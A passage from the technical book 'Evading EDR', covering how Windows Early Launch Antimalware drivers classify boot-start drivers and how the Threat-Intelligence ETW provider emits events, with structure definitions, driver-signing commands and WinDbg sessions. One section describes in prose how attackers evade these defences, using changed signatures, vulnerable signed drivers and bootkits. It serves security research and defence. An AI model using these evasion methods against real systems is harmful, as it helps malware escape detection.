*PBDCB_STATUS_UPDATE_TYPE; Listing 11-3: The BDCB_STATUS_UPDATE_TYPE values The first of these values indicates that the system is about to load driver dependencies. The second indicates that the system is about to load boot- start drivers. The last indicates that all boot-start drivers have been loaded, so the ELAM driver should prepare to be unloaded. During the first two states, the ELAM driver will receive another type of event that correlates to the loading of a boot-start driver’s image. This event, passed to the callback as a pointer to a BDCB_IMAGE_INFORMATION struc- ture, is defined in Listing 11-4. typedef struct _BDCB_IMAGE_INFORMATION { BDCB_CLASSIFICATION Classification; ULONG ImageFlags; UNICODE_STRING ImageName; UNICODE_STRING RegistryPath; UNICODE_STRING CertificatePublisher; UNICODE_STRING CertificateIssuer; PVOID ImageHash; PVOID CertificateThumbprint; ULONG ImageHashAlgorithm; ULONG ThumbprintHashAlgorithm; ULONG ImageHashLength; Evading EDR (Early Access) © 2023 by Matt Hand Early Launch Antimalware Drivers   205 ULONG CertificateThumbprintLength; } BDCB_IMAGE_INFORMATION, *PBDCB_IMAGE_INFORMATION; Listing 11-4: The BDCB_IMAGE_INFORMATION structure definition As you can see, this structure contains the bulk of the information used to decide whether some driver is a rootkit. Most of it relates to the image’s digital signature, and it notably omits a few fields you might expect to see, such as a pointer to the contents of the image on disk. This is due in part to the performance requirements imposed on ELAM drivers. Because they can affect system boot times (as they’re initialized every time Windows boots), Microsoft imposes a time limit of 0.5 ms for the evaluation of each boot-start driver and 50 ms for the evaluation of all boot-start drivers together, within a 128KB memory footprint. These performance require- ments limit what an ELAM driver can do; for instance, it is too time- intensive to scan the contents of an image. Therefore, developers typically rely on static signatures to identify malicious drivers. During the boot process, the operating system loads the signatures in use by ELAM drivers into an early-launch drivers registry hive under HKLM:\ELAM\, followed by the vendor’s name (for example, HKLM:\ ELAM\Windows Defender for Microsoft Defender, shown in Figure 11-2). This hive is unloaded later in the boot process and is not present in the registry by the time users start their sessions. If the vendor wishes to update signa- tures in this hive, they may do so from user mode by mounting the hive containing the signatures from %SystemRoot%\System32\config\ELAM and modifying their key. Figure 11-2: Microsoft Defender in the ELAM registry hive Vendors can use three values of the type REG_BINARY in this key: Measured, Policy, and Config. Microsoft hasn’t published formal public documentation about the purposes of these values or their differences. However, the com- pany does state that the signature data blob must be signed and its integrity validated using Cryptography API: Next Generation (CNG) primitive crypto- graphic functions before the ELAM driver begins making decisions regard- ing the status of the boot-start driver. Evading EDR (Early Access) © 2023 by Matt Hand 206   Chapter 11 No standard exists for how the signature blobs must be structured or used once the ELAM driver has verified their integrity. In case you’re interested, however, in 2018 the German Bundesamt für Sicherheit in der Informationstechnik (BSI) published its Work Package 5, which includes an excellent walk-through of how Defender’s wdboot.sys performs its own integ- rity checks and parses its signature blocks. If the cryptographic validation of the signature blob fails for any rea- son, the ELAM driver must return the BdCbClassificationUnknownImage classifi- cation for all boot-start drivers using its callback, as the signature data isn’t considered reliable and shouldn’t affect Measured Boot, the Windows feature that measures each boot component from the firmware to the drivers and stores the results in the Trusted Platform Module (TPM), where it can be used to validate the integrity of the host. Applying Detection Logic Once the ELAM driver has received the BdCbStatusPrepareForDriverLoad sta- tus update and pointers to BDCB_IMAGE_INFORMATION structures for each boot- load driver, it applies its detection logic using the information provided in the structure. Once it has made a determination, the driver updates the Classification member of the current image-information structure (not to be confused with the Classification input parameter passed to the callback function) with a value from the BDCB_CLASSIFICATION enumeration, defined in Listing 11-5. typedef enum _BDCB_CLASSIFICATION { BdCbClassificationUnknownImage, BdCbClassificationKnownGoodImage, BdCbClassificationKnownBadImage, BdCbClassificationKnownBadImageBootCritical, BdCbClassificationEnd, } BDCB_CLASSIFICATION, *PBDCB_CLASSIFICATION; Listing 11-5: The BDCB_CLASSIFICATION enumeration Microsoft defines these values as follows, from top to bottom: the image hasn’t been analyzed, or a determination regarding its malicious- ness can’t be made; the ELAM driver has found no malware; the ELAM driver detected malware; the boot-load driver is malware, but it is critical to the boot process; and the boot-load driver is reserved for system use. The ELAM driver sets one of these classifications for each boot-start driver until it receives the BdCbStatusPrepareForUnload status update instructing it to clean up. The ELAM driver is then unloaded. Next, the operating system evaluates the classifications returned by each ELAM driver and takes action if needed. To determine which action to take, Windows consults the registry key HKLM:\System\CurrentControlSet\ Control\EarlyLaunch\DriverLoadPolicy, which defines the drivers allowed to run on the system. This value, read by nt!IopInitializeBootDrivers(), can be any of the options included in Table 11-1. Evading EDR (Early Access) © 2023 by Matt Hand Early Launch Antimalware Drivers   207 Table 11-1: Possible Driver Load-Policy Values Value Description 0 Good drivers only 1 Good and unknown drivers 3 Good, unknown, and bad but critical to the boot process (Default) 7 All drivers The kernel (specifically, the Plug and Play manager) uses the classification specified by the ELAM driver to prevent any banned drivers from loading. All other drivers are allowed to load, and system boot continues as normal. N O T E If the ELAM driver identifies a known malicious boot-start driver and is running on a system that leverages Measured Boot, developers must call tbs!Tbsi_Revoke_ Attestation(). What this function does is a bit technical; essentially, it extends a platform configuration register bank in the TPM, specifically PCR[12], by an unspeci- fied value and then increments the TPM’s event counter, breaking trust in the secu- rity state of the system. An Example Driver: Preventing Mimidrv from Loading The debugger output in Listing 11-6 shows debug messaging from an ELAM driver when it encounters a known malicious driver, Mimikatz’s Mimidrv, and prevents it from loading. [ElamProcessInitializeImage] The following boot start driver is about to be initialized: Image name: \SystemRoot\System32\Drivers\mup.sys Registry Path: \Registry\Machine\System\CurrentControlSet\Services\Mup Image Hash Algorithm: 0x0000800c Image Hash: cf2b679a50ec16d028143a2929ae56f9117b16c4fd2481c7e0da3ce328b1a88f Signer: Microsoft Windows Certificate Issuer: Microsoft Windows Production PCA 2011 Certificate Thumbprint Algorithm: 0x0000800c Certificate Thumbprint: a22f7e7385255df6c06954ef155b5a3f28c54eec85b6912aaaf4711f7676a073 [ElamProcessInitializeImage] The following boot start driver is about to be initialized: [ElamProcessInitializeImage] Found a suspected malicious driver (\SystemRoot\system32\drivers\ mimidrv.sys). Marking its classification accordingly [ElamProcessInitializeImage] The following boot start driver is about to be initialized: Image name: \SystemRoot\system32\drivers\iorate.sys Registry Path: \Registry\Machine\System\CurrentControlSet\Services\iorate Image Hash Algorithm: 0x0000800c Image Hash: 07478daeebc544a8664adb00704d71decbc61931f9a7112f9cc527497faf6566 Signer: Microsoft Windows Certificate Issuer: Microsoft Windows Production PCA 2011 Certificate Thumbprint Algorithm: 0x0000800c Certificate Thumbprint: 3cd79dfbdc76f39ab4855ddfaeff846f240810e8ec3c037146b88cb5052efc08 Listing 11-6: ELAM driver output showing the detection of Mimidrv Evading EDR (Early Access) © 2023 by Matt Hand 208   Chapter 11 In this example, you can see that the ELAM driver allows other boot- start drivers to load: the native Universal Naming Convention driver, mup.sys, and the Disk I/O Rate Filter driver, iorate.sys, both of which are signed by Microsoft. Between these two drivers, it detects Mimidrv using the file’s known cryptographic hash. Because it deems this driver to be malicious, it prevents Mimidrv from loading on the system before the oper- ating system is fully initialized and without requiring any interaction from the user or other EDR components. Loading an ELAM Driver Before you can load your ELAM driver, you must complete a few prepara- tory steps: signing the driver and assigning its load order. Signing the Driver The most headache-inducing part of deploying an ELAM driver, espe- cially during development and testing, is ensuring that its digital sig- nature meets Microsoft’s requirements for loading on the system. Even when operating in test-signing mode, the driver must have specific certifi- cate attributes. Microsoft publishes limited information about the process of test-sign- ing an ELAM driver. In its demo, Microsoft says the following: Early Launch drivers are required to be signed with a code- signing certificate that also contains the Early Launch EKU “1.3.6.1.4.1.311.61.4.1” [. . .] and the “1.3.6.1.5.5.7.3.3” Code Signing EKU. Once a certificate of this form has been created, signtool.exe can be used to sign [the ELAM driver]. In test-signing scenarios, you can create a certificate with these EKUs by running makecert.exe, a utility that ships with the Windows SDK, in an ele- vated command prompt. Listing 11-7 demonstrates the syntax for doing this. PS > & 'C:\Program Files (x86)\Windows Kits\10\bin\10.0.19042.0\x64\makecert.exe' >> -a SHA256 -r -pe >> -ss PrivateCertStore >> -n "CN=DevElamCert" >> -sr localmachine >> -eku 1.3.6.1.4.1.311.61.4.1,1.3.6.1.5.5.7.3.3 >> C:\Users\dev\Desktop\DevElamCert.cer Listing 11-7: Generating a self-signed certificate This tool supports a robust set of arguments, but only two are really relevant to ELAM. This first is the -eku option, which adds the Early Launch Antimalware Driver and Code Signing object identifiers to the certificate. The second is the path to which the certificate should be written. When makecert.exe completes, you’ll find a new self-signed certificate written to the specified location. This certificate should have the necessary Evading EDR (Early Access) © 2023 by Matt Hand Early Launch Antimalware Drivers   209 object identifiers, which you can validate by opening the certificate and viewing its details, as shown in Figure 11-3. Figure 11-3: ELAM EKUs included in the certificate Next, you can use signtool.exe, another tool from the Windows SDK, to sign the compiled ELAM driver. Listing 11-8 shows an example of doing this using the previously generated certificate. PS > & 'C:\Program Files (x86)\Windows Kits\10\bin\10.0.19041.0\x64\signtool.exe' >> sign >> /fd SHA256 >> /a >> /ph >> /s "PrivateCertStore" >> /n "MyElamCert" >> /tr http://sha256timestamp.ws.symantec.com/sha256/timestamp >> .\elamdriver.sys Listing 11-8: Signing an ELAM driver with signtool.exe Like makecert.exe, this tool supports a large set of arguments, some of which aren’t particularly important to ELAM. First, the /fd argument speci- fies the file-digest algorithm to use for signing the certificate (SHA256 in our case). The /ph argument instructs signtool.exe to generate page hashes for executable files. Versions of Windows starting with Vista use these hashes to verify the signature of each page of the driver as it is loaded into memory. The /tr argument accepts the URL of a timestamp server that allows the certificate to be appropriately timestamped (see RFC 3161 for details about the Time-Stamp Protocol). Developers can use a number of publicly avail- able servers to complete this task. Lastly, the tool accepts the file to sign (in our case, the ELAM driver). Evading EDR (Early Access) © 2023 by Matt Hand 210   Chapter 11 Now we can inspect the driver’s properties to check whether it is signed with the self-signed certificate and a countersignature from the timestamp server, as shown in Figure 11-4. Figure 11-4: A signed driver with the timestamp included If so, you may deploy the driver to the system. As for most drivers, the system uses a service to facilitate the driver’s loading at the desired time. To function properly, the ELAM driver must load very early in the boot pro- cess. This is where the concept of load-order grouping comes into play. Setting the Load Order When creating a boot-start service on Windows, the developer can specify when it should be loaded in the boot order. This is useful in cases when the driver depends on the availability of another service or otherwise needs to load at a specific time. The developer can’t specify any arbitrary string for the load-order group, however. Microsoft keeps a list containing most of the groups available in the registry at HKLM:\SYSTEM\CurrentControlSet\Control\ ServiceGroupOrder, which you can retrieve easily, as shown in Listing 11-9. PS> (Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\ServiceGroupOrder).List System Reserved EMS WdfLoadGroup Boot Bus Extender System Bus Extender SCSI miniport Port Primary Disk SCSI Class SCSI CDROM Class Evading EDR (Early Access) © 2023 by Matt Hand Early Launch Antimalware Drivers   211 FSFilter Infrastructure FSFilter System FSFilter Bottom FSFilter Copy Protection --snip-- Listing 11-9: Retrieving service-load-order groups from the registry with PowerShell This command parses the values of the registry key containing the load-order group names and returns them as a list. At the time of this writ- ing, the registry key contains 70 groups. Microsoft instructs ELAM driver developers to use the Early-Launch load-order group, which is notably missing from the ServiceGroupOrder key. No other special loading requirements exist, and you can do it simply by using sc.exe or the advapi32!CreateService() Win32 API. For example, Listing 11-10 loads WdBoot, an ELAM service that ships with Windows 10 and is used to load Defender’s boot-start driver of the same name. PS C:\> Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\WdBoot | >> select PSChildName, Group, ImagePath | fl PSChildName : WdBoot Group : Early-Launch ImagePath : system32\drivers\wd\WdBoot.sys Listing 11-10: Inspecting Defender’s WdBoot ELAM driver This command collects the name of the service, its load-order group, and the path to the driver on the filesystem. If you step inside the process of loading the ELAM drivers, you’ll find that it’s primarily the responsibility of the Windows bootloader, winload. efi. The bootloader, a complex piece of software in its own right, performs a few actions. First, it searches the registry for all boot-start drivers on the system in the Early-Launch group and adds them to a list. Next, it loads core drivers, such as the System Guard Runtime Monitor (sgrmagent.sys) and the Security Events Component Minifilter (mssecflt.sys). Finally, it goes over its list of ELAM drivers, performing some integrity checking and eventu- ally loading the drivers. Once the Early-Launch drivers are loaded, the boot process continues, and the ELAM vetting process described in “Developing ELAM Drivers” on page XX is executed. N O T E This is an oversimplified description of the process of loading ELAM drivers. If you’re interested in learning more about it, check out “Understanding WdBoot,” a blog post by @n4r1b detailing how Windows loads essential drivers. Evading ELAM Drivers Because ELAM drivers mostly use static signatures and hashes to identify malicious boot-start drivers, you can evade them in the same way you’d Evading EDR (Early Access) © 2023 by Matt Hand 212   Chapter 11 evade user-mode file-based detections: by changing static indicators. Doing this for drivers is more difficult than doing it in user mode, however, because there are generally fewer viable drivers than user-mode executables to choose from. This is due in no small part to the driver signature enforce- ment in modern versions of Windows. Driver Signature Enforcement is a control implemented in Windows Vista and beyond that requires kernel-mode code (namely drivers) to be signed in order to load. Starting in build 1607, Windows 10 further requires that drivers be signed with an Extended Validation (EV) certificate and, option- ally, a Windows Hardware Quality Labs (WHQL) signature if the developer would like the driver to load on Windows 10 S or have its updates distrib- uted through Windows Update. Due to the complexity of these signing processes, attackers have a substantially harder time loading a rootkit on modern versions of Windows. An attacker’s driver can serve a number of functions while operating under the requirements of driver signature enforcement. For example, the NetFilter rootkit, signed by Microsoft, passed all driver signature enforce- ment checks and can load on modern Windows versions. Getting a rootkit signed by Microsoft isn’t the easiest process, however, and it’s impractical for many offensive teams. If the attacker takes the Bring Your Own Vulnerable Driver (BYOVD) approach, their options open up. These are vulnerable drivers that the attacker loads onto the system, and they’re usually signed by legitimate software vendors. As they don’t contain any overtly malicious code, they are difficult to detect and rarely have their certificate revoked after their vul- nerability is discovered. If this BYOVD component is loaded during boot, a user-mode component running later in the boot process could exploit the driver to load the operator’s rootkit using any number of techniques, depending on the nature of the vulnerability. Another approach involves the deployment of firmware rootkits or bootkits. While this technique is exceedingly rare, it can effectively evade ELAM’s boot-start protections. For example, the ESPecter bootkit patched the Boot Manager (bootmgfw.efi), disabled driver signature enforcement, and dropped its driver, which was responsible for loading user-mode com- ponents and performing keylogging. ESPecter was initialized as soon as the system loaded UEFI modules: so early in the boot process that ELAM driv- ers had no ability to affect its presence. While the specifics of implementing rootkits and bootkits are outside the scope of this book, they’re a fascinating topic for any of those interested in “apex” malware. Rootkits and Bootkits: Reversing Modern Malware and Next Generation Threats by Alex Matrosov, Eugene Rodionov, and Sergey Bratus is the most up-to-date resource on this topic at the time of this writing and is highly recommended as a complement to this section. Thankfully, Microsoft continues to invest heavily in protecting the part of the boot process that occurs before ELAM has a chance to act. These protec- tions fall under the Measured Boot umbrella, which validates the integrity of the boot process from UEFI firmware through ELAM. During the boot pro- cess, Measured Boot produces cryptographic hashes, or measurements, of these Evading EDR (Early Access) © 2023 by Matt Hand Early Launch Antimalware Drivers   213 boot components, along with other configuration data such as the status of BitLocker and Test Signing, and stores them in the TPM. Once the system has completed booting, Windows uses the TPM to generate a cryptographically signed statement, or quote, used to confirm the validity of the system’s configuration. This quote is sent to an attestation authority, which authenticates the measurements, returns a determination of whether the system should be trusted, and optionally takes actions to remediate any issues. As Windows 11, which requires a TPM, becomes more widely adopted, this technology will become an important detective compo- nent for system integrity inside enterprises. The Unfortunate Reality In the vast majority of situations, ELAM vendors don’t meet Microsoft’s rec- ommendations. In 2021, Maxim Suhanov published a blog post, “Measured Boot and Malware Signatures: exploring two vulnerabilities found in the Windows loader,” wherein he compared 26 vendors’ ELAM drivers. He noted that only 10 used signatures at all; of these, only two used them to affect Measured Boot in the way intended by Microsoft. Instead, these ven- dors use their ELAM drivers nearly exclusively to create protected processes and access the Microsoft-Windows-Threat-Intelligence ETW provider dis- cussed in the next chapter. Conclusion ELAM drivers give an EDR insight into portions of the boot process previ- ously unable to be monitored. This allows an EDR to detect, or potentially even stop, an attacker that can execute their code before the primary EDR agent even starts. Despite this seemingly massive benefit, almost no vendors make use of this technology and instead only use it for its auxiliary function: gaining access to the Microsoft-Windows-Threat-Intelligence ETW provider. Evading EDR (Early Access) © 2023 by Matt Hand Evading EDR (Early Access) © 2023 by Matt Hand For years, Microsoft Defender for Endpoint (MDE) presented a huge challenge for offensive security practitioners because it could detect issues that all the other EDR vendors missed. One of the primary reasons for its effectiveness is its use of the Microsoft-Windows-Threat- Intelligence (EtwTi) ETW provider. Today, developers who publish ELAM drivers use it to access some of the most powerful detection sources on Windows. Despite its name, this ETW provider won’t provide you with attribution information. Rather, it reports on events that were previously unavailable to EDRs, like memory allocations, driver loads, and syscall policy violations to Win32k, the kernel component of the Graphics Device Interface. These events functionally replace the information EDR vendors gleaned from user-mode function hooking, which attackers can easily evade, as covered in Chapter 2. 12 M ICROSOF T-W IN DOW S -T H R E AT- IN T E L L IG E NCE Evading EDR (Early Access) © 2023 by Matt Hand 216   Chapter 12 Because events from this provider originate from the kernel, the pro- vider is more difficult to evade, has greater coverage than user-mode alter- natives, and is less risky than function hooking, as the provider is integrated into the operating system itself. Due to these factors, it is rare to encounter mature EDR vendors that don’t use it as a telemetry source. This chapter covers how the EtwTi provider works, its detection sources, the types of events it emits, and how attackers may evade detection. Reverse Engineering the Provider Before we cover the types of events emitted by the EtwTi provider, you should understand how it gets the information in the first place. Unfortunately, Microsoft provides no public documentation about the pro- vider’s internals, so discovering this is largely a manual effort. As a case study, this section covers one example of EtwTi’s source: what happens when a developer changes the protection level of a memory allocation to mark it as executable. Malware developers frequently use this technique; they’ll first write shellcode to an allocation marked with read-write (RW) per- missions and then change these to read-execute (RX) through an API such as kernel32!VirtualProtect() before they execute the shellcode. When the malware developer calls this API, execution eventually flows down to the syscall for ntdll!NtProtectVirtualMemory(). Execution is transferred into the kernel, where some safety checks and validations occur. Then, nt!MmProtectVirtualMemory() is called to change the protection level on the allo- cation. This is all pretty standard, and it would be reasonable to assume that nt!NtProtectVirtualMemory() would clean up and return at this point. However, one last conditional block of code in the kernel, shown in Listing 12-1, calls nt!EtwTiLogProtectExecVm() if the protection change succeeded. if ((-1 < (int)status) && (status = protectionMask, ProtectionMask = MiMakeProtectionMask(protectionMask), ((uVar2 | ProtectionMask) & 2) != 0)) { puStack_c0 = (ulonglong*)((ulonglong)puStack_c0 & 0xffffffff00000000 | (ulonglong)status); OldProtection = param_4; EtwTiLogProtectExecVm(TargetProcess,AccessMode,BaseAddress,NumberOfBytes); } Listing 12-1: The EtwTi function called inside nt!NtProtectVirtualMemory() The name of this function implies that it is responsible for logging pro- tection changes for executable regions of memory. Checking That the Provider and Event Are Enabled Within the function is a call to nt!EtwProviderEnabled(), which is defined in Listing 12-2. It verifies that a given ETW provider is enabled on the system. BOOLEAN EtwProviderEnabled( REGHANDLE RegHandle, Evading EDR (Early Access) © 2023 by Matt Hand Microsoft-Windows-Threat-Intelligence   217 UCHAR Level, ULONGLONG Keyword ); Listing 12-2: The nt!EtwProviderEnabled() definition The most interesting part of this function is the RegHandle parameter, which is the global EtwThreatIntProvRegHandle, in the case of this provider. This handle is referenced in every EtwTi function, meaning we can use it to find other functions of interest. If we examine the cross-reference to the global ETW provider handle, as shown in Figure 12-1, we can see 31 other references made to it, most of which are other EtwTi functions. Figure 12-1: Cross-references to ThreatIntProviderGuid One of the cross-references originates from nt!EtwpInitialize(), a func- tion called during the boot process that, among other things, is responsible for registering system ETW providers. To do this, it calls the nt!EtwRegister() function. The signature for this function is shown in Listing 12-3. NTSTATUS EtwRegister( LPCGUID ProviderId, PETWENABLECALLBACK EnableCallback, PVOID CallbackContext, PREGHANDLE RegHandle ); Listing 12-3: The nt!EtwRegister() definition This function is called during the boot process with a pointer to a GUID named ThreatIntProviderGuid, shown in Listing 12-4. EtwRegister(&ThreatIntProviderGuid,0,0,&EtwThreatIntProvRegHandle); Listing 12-4: Registering ThreatIntProviderGuid The GUID pointed to is in the .data section, shown in Figure 12-2 as f4e1897c-bb5d-5668-f1d8-040f4d8dd344. Figure 12-2: The GUID pointed to by ThreatIntProviderGuid Evading EDR (Early Access) © 2023 by Matt Hand 218   Chapter 12 If the provider is enabled, the system checks the event descriptor to determine if the specific event is enabled for the provider. This check is per- formed by the nt!EtwEventEnabled() function, which takes the provider handle used by nt!EtwProviderEnabled() and an EVENT_DESCRIPTOR structure correspond- ing to the event to be logged. Logic determines which EVENT_DESCRIPTOR to use based on the calling thread’s context (either user or kernel). Following these checks, the EtwTi function builds out a structure with functions such as nt!EtwpTiFillProcessIdentity() and nt!EtwpTiFillVad(). This structure is not easily statically reversed, but thankfully, it is passed into nt!EtwWrite(), a function used for emitting events. Let’s use a debugger to examine it. Determining the Events Emitted At this point, we know the syscall passes data to nt!EtwTiLogProtectExecVm(), which emits an event over ETW using the EtwTi provider. The particular event emitted is still unknown, though. To collect this information, let’s view the data in the PEVENT_DATA_DESCRIPTOR passed to nt!EtwWrite() using WinDbg. By placing a conditional breakpoint on the function that writes the ETW event when its call stack includes nt!EtwTiLogProtectExecVm(), we can further investigate the parameters passed to it (Listing 12-5). 1: kd> bp nt!EtwWrite "r $t0 = 0; .foreach (p { k }) { .if ($spat(\"p\", \"nt!EtwTiLogProtectExecVm*\")) { r $t0 = 1; .break } }; .if($t0 = 0) { gc }" 1: kd> g nt!EtwWrite fffff807`7b693500 4883ec48 sub rsp, 48h 1: kd> k # Child-SP RetAddr Call Site 00 ffff9285`03dc6788 fffff807`7bc0ac99 nt!EtwWrite 01 ffff9285`03dc6790 fffff807`7ba96860 nt!EtwTiLogProtectExecVm+0x15c031 1 02 ffff9285`03dc69a0 fffff807`7b808bb5 nt!NtProtectVirtualMemory+0x260 03 ffff9285`03dc6a90 00007ffc`48f8d774 nt!KiSystemServiceCopyEnd+0x25 2 04 00000025`3de7bc78 00007ffc`46ab4d86 0x00007ffc`48f8d774 05 00000025`3de7bc80 000001ca`0002a040 0x00007ffc`46ab4d86 06 00000025`3de7bc88 00000000`00000008 0x000001ca`0002a040 07 00000025`3de7bc90 00000000`00000000 0x8 Listing 12-5: Using a conditional breakpoint to watch calls to nt!EtwTiLogProtectExecVm() This call stack shows a call to ntdll!NtProtectVirtualMemory() surfacing from user mode and hitting the System Service Dispatch Table (SSDT) 2, which is really just an array of addresses to functions that handle a given syscall. Control is then passed up to nt!NtProtectVirtualMemory() where the call to nt!EtwTiLogProtectExecVm() 1 is made, just as we identified earlier through static analysis. Evading EDR (Early Access) © 2023 by Matt Hand Microsoft-Windows-Threat-Intelligence   219 The UserDataCount parameter passed to nt!EtwWrite() contains the num- ber of EVENT_DATA_DESCRIPTOR structures in its fifth parameter, UserData. This value will be stored in the R9 register and can be used to display all entries in the UserData array, stored in RAX. This is shown in the WinDbg output in Listing 12-6. 1: kd> dq @rax L(@r9*2) ffff9285`03dc67e0 ffffa608`af571740 00000000`00000004 ffff9285`03dc67f0 ffffa608`af571768 00000000`00000008 ffff9285`03dc6800 ffff9285`03dc67c0 00000000`00000008 ffff9285`03dc6810 ffffa608`af571b78 00000000`00000001 --snip-- Listing 12-6: Listing the values in UserData using the number of entries stored in R9 The first 64-bit value on each line of the WinDbg output is a pointer to the data, and the next one describes the size of the data in bytes. Unfortunately, this data isn’t named or labeled, so discovering what each descriptor describes is a manual process. To decipher which pointer holds which type of data, we can use the provider GUID collected earlier in this section, f4e1897c-bb5d-5668-f1d8-040f4d8dd344. As discussed in Chapter 8, ETW providers can register an event mani- fest, which describes the events emitted by the provider and their contents. We can list these providers using the logman.exe utility, as shown in Listing 12-7. Searching for the GUID associated with the EtwTi provider reveals that the provider’s name is Microsoft-Windows-Threat-Intelligence. PS > logman query providers | findstr /i "{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}" Microsoft-Windows-Threat-Intelligence {F4E1897C-BB5D-5668-F1D8-040F4D8DD344} Listing 12-7: Retrieving the provider’s name using logman.exe After identifying the name of the provider, we can pass it to tools such as PerfView to get the provider manifest. When the PerfView command in Listing 12-8 completes, it will create the manifest in the directory from which it was called. PS > PerfView64.exe userCommand DumpRegisteredManifest Microsoft-Windows-Threat-Intelligence Listing 12-8: Using PerfView to dump the provider manifest You can view the sections of this manifest that relate to the protection of virtual memory in the generated XML. The most important section for understanding the data in the UserData array is in the <template> tags, shown in Listing 12-9. <templates> [. . .] <template tid="KERNEL_THREATINT_TASK_PROTECTVMArgs_V1"> <data name="CallingProcessId" inType="win:UInt32"/> <data name="CallingProcessCreateTime" inType="win:FILETIME"/> Evading EDR (Early Access) © 2023 by Matt Hand 220   Chapter 12 <data name="CallingProcessStartKey" inType="win:UInt64"/> <data name="CallingProcessSignatureLevel" inType="win:UInt8"/> <data name="CallingProcessSectionSignatureLevel" inType="win:UInt8"/> <data name="CallingProcessProtection" inType="win:UInt8"/> <data name="CallingThreadId" inType="win:UInt32"/> <data name="CallingThreadCreateTime" inType="win:FILETIME"/> <data name="TargetProcessId" inType="win:UInt32"/> <data name="TargetProcessCreateTime" inType="win:FILETIME"/> <data name="TargetProcessStartKey" inType="win:UInt64"/> <data name="TargetProcessSignatureLevel" inType="win:UInt8"/> <data name="TargetProcessSectionSignatureLevel" inType="win:UInt8"/> <data name="TargetProcessProtection" inType="win:UInt8"/> <data name="OriginalProcessId" inType="win:UInt32"/> <data name="OriginalProcessCreateTime" inType="win:FILETIME"/> <data name="OriginalProcessStartKey" inType="win:UInt64"/> <data name="OriginalProcessSignatureLevel" inType="win:UInt8"/> <data name="OriginalProcessSectionSignatureLevel" inType="win:UInt8"/> <data name="OriginalProcessProtection" inType="win:UInt8"/> <data name="BaseAddress" inType="win:Pointer"/> <data name="RegionSize" inType="win:Pointer"/> <data name="ProtectionMask" inType="win:UInt32"/> <data name="LastProtectionMask" inType="win:UInt32"/> </template> Listing 12-9: ETW provider manifest dumped by PerfView Comparing the data sizes specified in the manifests with the Size field of the EVENT_DATA_DESCRIPTOR structures reveals that the data appears in the same order. Using this information, we can extract individual fields of the event. For example, ProtectionMask and LastProtectionMask correlate to ntdll!NtProtectVirtualMemory()’s NewAccessProtection and OldAccessProtection, respectively. The last two entries in the UserData array match their data type. Listing 12-10 shows how we can investigate these values using WinDbg. 1: kd> dq @rax L(@r9*2) --snip-- ffff9285`03dc6940 ffff9285`03dc69c0 00000000`00000004 ffff9285`03dc6950 ffff9285`03dc69c8 00000000`00000004 1: kd> dd ffff9285`03dc69c0 L1 1 ffff9285`03dc69c0 00000004 1: kd> dd ffff9285`03dc69c8 L1 2 ffff9285`03dc69c8 00000020 Listing 12-10: Evaluating protection mask changes using WinDbg We can inspect the values’ contents to see that LastProtectionMask 2 was originally PAGE_EXECUTE_READ (0x20) and has been changed to PAGE_READWRITE (0x4) 1. Now we know that removing the executable flag in the memory allocation caused the event to fire. Evading EDR (Early Access) © 2023 by Matt Hand Microsoft-Windows-Threat-Intelligence   221 Determining the Source of an Event Although we’ve explored the flow from a user-mode function call to an event being emitted, we’ve done so for a single sensor only, nt!EtwTiLogProtectExecVm(). At the time of this writing, there are 11 of these sensors, shown in Table 12-1. Table 12-1: Security and Security Mitigation Sensors Microsoft-Windows-Threat- Intelligence Sensors Microsoft-Windows-Security- Mitigations Sensors EtwTiLogAllocExecVm EtwTimLogBlockNonCetBinaries EtwTiLogDeviceObjectLoadUnload EtwTimLogControlProtectionKernelModeReturn Mismatch EtwTiLogDriverObjectLoad EtwTimLogControlProtectionUserModeReturn Mismatch EtwTiLogDriverObjectUnLoad EtwTimLogProhibitChildProcessCreation EtwTiLogInsertQueueUserApc EtwTimLogProhibitDynamicCode EtwTiLogMapExecView EtwTimLogProhibitLowILImageMap EtwTiLogProtectExecView EtwTimLogProhibitNonMicrosoftBinaries EtwTiLogReadWriteVm EtwTimLogProhibitWin32kSystemCalls EtwTiLogSetContextThread EtwTimLogRedirectionTrustPolicy EtwTiLogSuspendResumeProcess EtwTimLogUserCetSetContextIpValidationFailure EtwTiLogSuspendResumeThread An additional 10 sensors relate to security mitigations and are identi- fied by their EtwTim prefix. These sensors emit events through a different provider, Microsoft-Windows-Security-Mitigations, but function identically to the normal EtwTi sensors. They’re responsible for generating alerts about security mitigation violations, such as the loading of low-integrity-level or remote images or the triggering of Arbitrary Code Guard, based on system configuration. While these exploit mitigations are out of scope for this book, you’ll occasionally encounter them while investigating EtwTi sensors. Using Neo4j to Discover the Sensor Triggers What causes the sensors in Table 12-1 to emit events? Thankfully, there is a relatively easy way for us to figure this out. Most measure activity coming from user mode, and for control to transition from user mode to kernel mode, a syscall needs to be made. Execution will land in functions prefixed with Nt after control is handed to the kernel, and the SSDT will handle the entry-point resolution. Therefore, we can map paths from functions with Nt prefixes to functions with EtwTi prefixes to identify APIs that cause events to be emitted due to actions in user mode. Ghidra and IDA both offer call-tree mapping functions that serve this purpose generally. Their performance can be limited, however. Evading EDR (Early Access) © 2023 by Matt Hand 222   Chapter 12 For example, Ghidra’s default search depth is five nodes, and longer searches take exponentially longer. They’re also exceedingly difficult to parse. To address this, we can use a system built for identifying paths, such as the graph database Neo4j. If you’ve ever used BloodHound, the attack path-mapping tool, you’ve used Neo4j in some form. Neo4j can map the relationships (called edges) between any kind of item (called nodes). For example, BloodHound uses Active Directory principals as its nodes and properties like access control entries, group membership, and Microsoft Azure permissions as edges. In order to map nodes and edges, Neo4j supports a query language called Cypher whose syntax lies somewhere between Structured Query Language (SQL) and ASCII art and can often look like a drawn diagram. Rohan Vazarkar, one of the inventors of BloodHound, wrote a fantastic blog post about Cypher queries, “Intro to Cypher,” that remains one of the best resources on the topic. Getting a Dataset to Work with Neo4j To work with Neo4j, we need a structured dataset, typically in JSON for- mat, to define nodes and edges. We then load this dataset into the Neo4j database using functions from the Awesome Procedures on Cypher add-on library (such as apoc.load.json()). After ingestion, the data is queried using Cypher in either the web interface hosted on the Neo4j server or a con- nected Neo4j client. We must extract the data needed to map call graphs into the graph database from Ghidra or IDA using a plug-in, then convert it to JSON. Specifically, each entry in the JSON object needs to have three properties: a string containing the name of the function that will serve as the node, the entry point offset for later analysis, and the outgoing references (in other words, the functions being called by this function) to serve as the edges. The open source Ghidra script CallTreeToJSON.py iterates over all func- tions in a program that Ghidra has 